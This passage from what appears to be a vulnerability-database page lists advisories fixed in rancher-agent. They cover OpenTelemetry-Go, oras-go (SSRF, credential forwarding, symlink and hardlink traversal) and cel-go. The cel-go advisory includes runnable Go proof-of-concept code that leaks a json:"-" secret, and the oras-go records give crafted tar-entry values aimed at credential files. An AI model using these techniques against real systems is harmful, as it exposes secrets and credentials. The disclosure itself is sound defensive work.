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Vulnerability from cleanstart
Published
2026-09-01 11:17
Modified
2026-09-02 06:40
Summary
Security fixes in rancher-agent 2.13.7-r2
Details
Package rancher-agent version 2.13.7-r2 fixes 7 vulnerabilities: CVE-2026-50163, CVE-2026-48978, CVE-2026-50151, CVE-2026-50162, ghsa-vh4v-2xq2-g5cg...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
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"name": "rancher-agent"
},
"ranges": [
{
"events": [
{
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},
{
"fixed": "2.13.7-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.13.7-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package rancher-agent version 2.13.7-r2 fixes 7 vulnerabilities: CVE-2026-50163, CVE-2026-48978, CVE-2026-50151, CVE-2026-50162, ghsa-vh4v-2xq2-g5cg...",
"id": "CLEANSTART-2026-AY55625",
"modified": "2026-09-02T06:40:40Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rancher/rancher"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in rancher-agent 2.13.7-r2",
"upstream": [
"CVE-2026-50163",
"CVE-2026-48978",
"CVE-2026-50151",
"CVE-2026-50162",
"ghsa-vh4v-2xq2-g5cg",
"ghsa-gcjh-h69q-9w9g",
"CVE-2026-41178"
]
}
CVE-2026-41178 (GCVE-0-2026-41178)
Vulnerability from cvelistv5 – Published: 2026-06-04 14:38 – Updated: 2026-06-04 15:46
VLAI
EPSS
VEX
Title
OpenTelemetry-Go's baggage parsing no longer caps raw header length
Summary
OpenTelemetry-Go is the Go implementation of OpenTelemetry. Versions 1.41.0 and 1.43.0 removed raw-length rejection and it causes `Parse` to process arbitrarily large/invalid baggage headers and log errors, enabling DoS via oversized inputs. Versions 1.42.0 and 1.44.0 fix the issue.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-04 15:46 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/open-telemetry/opentelemetry-g… | x_refsource_CONFIRM |
| https://github.com/open-telemetry/opentelemetry-g… | x_refsource_MISC |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| open-telemetry | go.opentelemetry.io/otel/baggage |
Affected:
= 1.41.0
Affected: = 1.43.0 |
|
| open-telemetry | go.opentelemetry.io/otel/propagation |
Affected:
= 1.41.0
Affected: = 1.43.0 |
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CVE-2026-48978 (GCVE-0-2026-48978)
Vulnerability from cvelistv5 – Published: 2026-07-17 19:34 – Updated: 2026-07-21 02:06
VLAI
EPSS
VEX
Title
oras-go: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating the scheme or host, allowing a malicious or compromised registry to cause SSRF to internal networks such as http://169.254.169.254/, http://10.0.0.x/, and http://127.0.0.1/, or to downgrade a registry contacted over https:// to an http:// token endpoint in registry/remote/auth/client.go through Client.Do(), Client.fetchBearerToken(), fetchDistributionToken, and fetchOAuth2Token. This issue is fixed in version 2.6.1.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-21 02:06 UTC
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/oras-project/oras-go/security/… | x_refsource_CONFIRM |
| https://github.com/oras-project/oras-go/commit/7a… | x_refsource_MISC |
| https://github.com/oras-project/oras-go/releases/… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| oras-project | oras-go |
Affected:
< 2.6.1
|
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CVE-2026-50151 (GCVE-0-2026-50151)
Vulnerability from cvelistv5 – Published: 2026-07-17 19:41 – Updated: 2026-07-20 13:52
VLAI
EPSS
VEX
Title
oras-go: credential forwarding via unvalidated Location header in blob upload
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, registry/remote/repository.go in blobStore.completePushAfterInitialPost follows a registry-controlled Location header during monolithic blob upload and reuses the Authorization header from the initial POST request for the subsequent PUT request, allowing a malicious registry to return a cross-host Location and receive the caller's credentials at an attacker-controlled endpoint. This issue is fixed in version 2.6.1.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-20 13:52 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/oras-project/oras-go/security/… | x_refsource_CONFIRM |
| https://github.com/oras-project/oras-go/pull/1152 | x_refsource_MISC |
| https://github.com/oras-project/oras-go/commit/46… | x_refsource_MISC |
| https://github.com/oras-project/oras-go/releases/… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| oras-project | oras-go |
Affected:
< 2.6.1
|
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CVE-2026-50162 (GCVE-0-2026-50162)
Vulnerability from cvelistv5 – Published: 2026-07-17 19:39 – Updated: 2026-07-20 18:18
VLAI
EPSS
VEX
Title
oras-go: file store write outside workingDir via symlink traversal
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, resolveWritePath() in content/file/file.go uses a lexical filepath.Rel check for workingDir and does not account for symlink traversal, so when AllowPathTraversalOnWrite=false an attacker-controlled blob title through ocispec.AnnotationTitle such as out/pwn.txt can follow a workingDir symlink out -> /some/outside/dir and cause pushFile() to create /some/outside/dir/pwn.txt outside workingDir. This issue is fixed in version 2.6.1.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-20 18:18 UTC
CWE
- CWE-73 - External Control of File Name or Path
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/oras-project/oras-go/security/… | x_refsource_CONFIRM |
| https://github.com/oras-project/oras-go/commit/cc… | x_refsource_MISC |
| https://github.com/oras-project/oras-go/releases/… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| oras-project | oras-go |
Affected:
< 2.6.1
|
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"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-17T19:39:28.847Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/oras-project/oras-go/security/advisories/GHSA-8xwf-rjm4-xvhv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-8xwf-rjm4-xvhv"
},
{
"name": "https://github.com/oras-project/oras-go/commit/cc323e564d90c6b5b4bdd71d3c8d2ee2713b37e5",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oras-project/oras-go/commit/cc323e564d90c6b5b4bdd71d3c8d2ee2713b37e5"
},
{
"name": "https://github.com/oras-project/oras-go/releases/tag/v2.6.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.1"
}
],
"source": {
"advisory": "GHSA-8xwf-rjm4-xvhv",
"discovery": "UNKNOWN"
},
"title": "oras-go: file store write outside workingDir via symlink traversal"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-50162",
"datePublished": "2026-07-17T19:39:28.847Z",
"dateReserved": "2026-06-03T20:54:20.432Z",
"dateUpdated": "2026-07-20T18:18:44.172Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-50163 (GCVE-0-2026-50163)
Vulnerability from cvelistv5 – Published: 2026-07-17 19:36 – Updated: 2026-07-20 15:01
VLAI
EPSS
VEX
Title
oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction
Summary
oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.
Severity
7.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-20 15:00 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/oras-project/oras-go/security/… | x_refsource_CONFIRM |
| https://github.com/oras-project/oras-go/pull/1232 | x_refsource_MISC |
| https://github.com/oras-project/oras-go/commit/c4… | x_refsource_MISC |
| https://github.com/oras-project/oras-go/releases/… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| oras-project | oras-go |
Affected:
< 2.6.2
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-50163",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-20T15:00:48.168210Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-20T15:01:16.630Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "oras-go",
"vendor": "oras-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.6.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-59",
"description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-17T19:36:01.254Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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},
"references": [
{
"name": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
},
{
"name": "https://github.com/oras-project/oras-go/pull/1232",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oras-project/oras-go/pull/1232"
},
{
"name": "https://github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451"
},
{
"name": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
}
],
"source": {
"advisory": "GHSA-fxhp-mv3v-67qp",
"discovery": "UNKNOWN"
},
"title": "oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-50163",
"datePublished": "2026-07-17T19:36:01.254Z",
"dateReserved": "2026-06-03T20:54:20.432Z",
"dateUpdated": "2026-07-20T15:01:16.630Z",
"state": "PUBLISHED"
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"dataType": "CVE_RECORD",
"dataVersion": "5.2"
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GHSA-GCJH-H69Q-9W9G
Vulnerability from github – Published: 2026-07-24 16:48 – Updated: 2026-07-24 16:48
VLAI
Summary
cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag
Details
The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].
Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.
Root cause
In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.
See at ext/native.go:146:
func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
return func(field reflect.StructField) string {
tag, found := field.Tag.Lookup(structTagToParse)
if found {
splits := strings.Split(tag, ",")
if len(splits) > 0 {
// We make the assumption that the leftmost entry in the tag is the name.
// This seems to be true for most tags that have the concept of a name/key, such as:
// https://pkg.go.dev/encoding/xml#Marshal
// https://pkg.go.dev/encoding/json#Marshal
// https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
// https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
name := splits[0]
return name
}
}
return field.Name
}
}
For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.
This contradicts the encoding/json rule that the source comment explicitly points readers to:
As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".
The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:
// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
return func(ntp *nativeTypeOptions) error {
ntp.fieldNameHandler = fieldNameByTag(tag)
return nil
}
}
A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.
The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.
See at ext/native.go:663:
if fieldNameHandler != nil {
fieldNames := make(map[string]struct{})
for idx := 0; idx < refType.NumField(); idx++ {
field := refType.Field(idx)
fieldName := toFieldName(fieldNameHandler, field)
if _, found := fieldNames[fieldName]; found {
return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
} else {
fieldNames[fieldName] = struct{}{}
}
}
}
Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.
See at ext/native.go:286:
func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
if t, found := tp.nativeTypes[typeName]; found {
fieldCount := t.refType.NumField()
fields := make([]string, fieldCount)
for i := 0; i < fieldCount; i++ {
fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
}
return fields, true
}
if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
return celTypeFields, true
}
return tp.baseProvider.FindStructFieldNames(typeName)
}
Field lookup also treats the name as valid and returns the underlying Go field value.
See at ext/native.go:303:
func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
t, found := tp.nativeTypes[typeName]
if !found {
return tp.baseProvider.FindStructFieldType(typeName, fieldName)
}
refField, isDefined := t.hasField(fieldName)
if !found || !isDefined {
return nil, false
}
return &types.FieldType{
IsSet: func(obj any) bool {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return !refField.IsZero()
},
GetFrom: func(obj any) (any, error) {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return getFieldValue(refField), nil
},
}, true
}
At runtime, native objects advertise index access.
See at ext/native.go:37:
var (
nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)
Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:
dyn(req.auth)["-"]
The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.
See at ext/native.go:501:
case jsonStructType:
refVal := reflect.Indirect(o.refValue)
refType := refVal.Type()
fields := make(map[string]*structpb.Value, refVal.NumField())
for i := 0; i < refVal.NumField(); i++ {
fieldType := refType.Field(i)
fieldValue := refVal.Field(i)
if !fieldValue.IsValid() || fieldValue.IsZero() {
continue
}
fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
fieldCELVal := o.NativeToValue(fieldValue.Interface())
fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
if err != nil {
return nil, err
}
fields[fieldName] = fieldJSONVal.(*structpb.Value)
}
return &structpb.Struct{Fields: fields}, nil
This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.
The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.
See at ext/native.go:609:
func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
nt, err := newNativeType(fieldNameHandler, rawType)
if err != nil {
return nil, err
}
result := []*nativeType{nt}
var iterateStructMembers func(reflect.Type)
iterateStructMembers = func(t reflect.Type) {
if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
iterateStructMembers(t.Elem())
return
}
if t.Kind() != reflect.Struct {
return
}
nt, ntErr := newNativeType(fieldNameHandler, t)
if ntErr != nil {
err = ntErr
return
}
result = append(result, nt)
for idx := 0; idx < t.NumField(); idx++ {
iterateStructMembers(t.Field(idx).Type)
}
}
iterateStructMembers(rawType)
return result, err
}
As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.
Reproduction
package main
import (
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
)
// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
UserID string `json:"userId"`
Secret string `json:"-"` // server-internal; never appears in JSON output
}
// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
// Only Req is passed; AuthCtx is registered silently by newNativeTypes.
ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.Req")),
)
ast, _ := env.Compile(`dyn(req.auth)["-"]`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
fmt.Println(out) // sk-live-s3cr3t
}
Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.
The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.
path 1. CEL indexing
Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:
require github.com/google/cel-go v0.28.1
Running the PoC above (go run main.go) produces:
sk-live-s3cr3t
The secret value is returned verbatim, with no error at compile time or at runtime.
Path 2. ConvertToNative(jsonStructType)
When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".
package main
import (
"encoding/json"
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
structpb "google.golang.org/protobuf/types/known/structpb"
)
type AuthCtxConv struct {
UserID string `json:"userId"`
Secret string `json:"-"` // should never appear in JSON output
}
type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.ReqConv")),
)
ast, _ := env.Compile(`req.auth`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
jsonStructType := reflect.TypeOf(&structpb.Struct{})
raw, _ := out.ConvertToNative(jsonStructType)
st := raw.(*structpb.Struct)
b, _ := json.MarshalIndent(st.AsMap(), "", " ")
fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
if v, ok := st.Fields["-"]; ok {
fmt.Printf("Value: %s\n", v.GetStringValue())
}
}
Running the PoC above produces:
ConvertToNative(jsonStructType) output:
{
"-": "sk-live-s3cr3t",
"userId": "alice"
}
Direct field access via "-" key present: true
Value: sk-live-s3cr3t
The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.
Impact
Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.
Remediation
Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.
Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.
Apply that skip decision consistently anywhere native fields are exposed or resolved:
- duplicate-name validation in
newNativeType - field enumeration in
FindStructFieldNames - field type lookup in
FindStructFieldType - runtime lookup in
fieldByName/hasField - object construction in
NewValue - JSON conversion in
ConvertToNative(jsonStructType)
Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/google/cel-go"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-495"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:48:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n return func(field reflect.StructField) string {\n tag, found := field.Tag.Lookup(structTagToParse)\n if found {\n splits := strings.Split(tag, \",\")\n if len(splits) \u003e 0 {\n // We make the assumption that the leftmost entry in the tag is the name.\n // This seems to be true for most tags that have the concept of a name/key, such as:\n // https://pkg.go.dev/encoding/xml#Marshal\n // https://pkg.go.dev/encoding/json#Marshal\n // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n name := splits[0]\n return name\n }\n }\n\n return field.Name\n }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n return func(ntp *nativeTypeOptions) error {\n ntp.fieldNameHandler = fieldNameByTag(tag)\n return nil\n }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n fieldNames := make(map[string]struct{})\n\n for idx := 0; idx \u003c refType.NumField(); idx++ {\n field := refType.Field(idx)\n fieldName := toFieldName(fieldNameHandler, field)\n\n if _, found := fieldNames[fieldName]; found {\n return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n } else {\n fieldNames[fieldName] = struct{}{}\n }\n }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n if t, found := tp.nativeTypes[typeName]; found {\n fieldCount := t.refType.NumField()\n fields := make([]string, fieldCount)\n for i := 0; i \u003c fieldCount; i++ {\n fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n }\n return fields, true\n }\n if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n return celTypeFields, true\n }\n return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n t, found := tp.nativeTypes[typeName]\n if !found {\n return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n }\n refField, isDefined := t.hasField(fieldName)\n if !found || !isDefined {\n return nil, false\n }\n\n return \u0026types.FieldType{\n IsSet: func(obj any) bool {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return !refField.IsZero()\n },\n GetFrom: func(obj any) (any, error) {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return getFieldValue(refField), nil\n },\n }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n refVal := reflect.Indirect(o.refValue)\n refType := refVal.Type()\n fields := make(map[string]*structpb.Value, refVal.NumField())\n for i := 0; i \u003c refVal.NumField(); i++ {\n fieldType := refType.Field(i)\n fieldValue := refVal.Field(i)\n if !fieldValue.IsValid() || fieldValue.IsZero() {\n continue\n }\n fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n fieldCELVal := o.NativeToValue(fieldValue.Interface())\n fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n if err != nil {\n return nil, err\n }\n fields[fieldName] = fieldJSONVal.(*structpb.Value)\n }\n return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler 